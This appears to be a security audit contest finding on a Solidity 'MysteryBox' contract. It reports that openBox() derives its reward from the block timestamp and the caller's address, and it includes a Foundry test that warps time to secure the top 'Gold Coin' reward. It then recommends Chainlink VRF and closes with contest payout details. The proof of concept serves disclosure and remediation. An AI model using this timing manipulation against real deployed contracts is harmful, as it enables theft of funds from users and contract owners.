Submission Details
Severity:
The reward drawing is not based on a random variable
Summary
The randomValue used in MysteryBox__openBox() function is not a random number.
Vulnerability Details
The randomValue is set based on predictable variables; timestamp and msg.address both known to the attacker. Therefore it can be easily tricked to the benefit of the attacker.
Impact
The attacker can choose the time of the attack to get the maximum possible reward when calling MysteryBox _openBox() function.
Tools Used
Run the following foundry test:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
contract TestMysteryBox is Test {
MysteryBox public mysteryBox;
address public owner = makeAddr("owner");
address public user1 = address(0x1);
function setUp() public {
vm.deal(owner, 1 ether);
vm.deal(user1, 1 ether);
vm.prank(owner);
mysteryBox = new MysteryBox{value: 0.1 ether}();
}
function testGetBestRewardPossible() public {
vm.startPrank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.warp(26);
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
assertEq(rewards[0].value, 1 ether);
assertEq(rewards[0].name, "Gold Coin");
vm.stopPrank();
}
}
Recommendations
For secure and unbiased random number generation use oracles like chainlink vrf (https://docs.chain.link/vrf)
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
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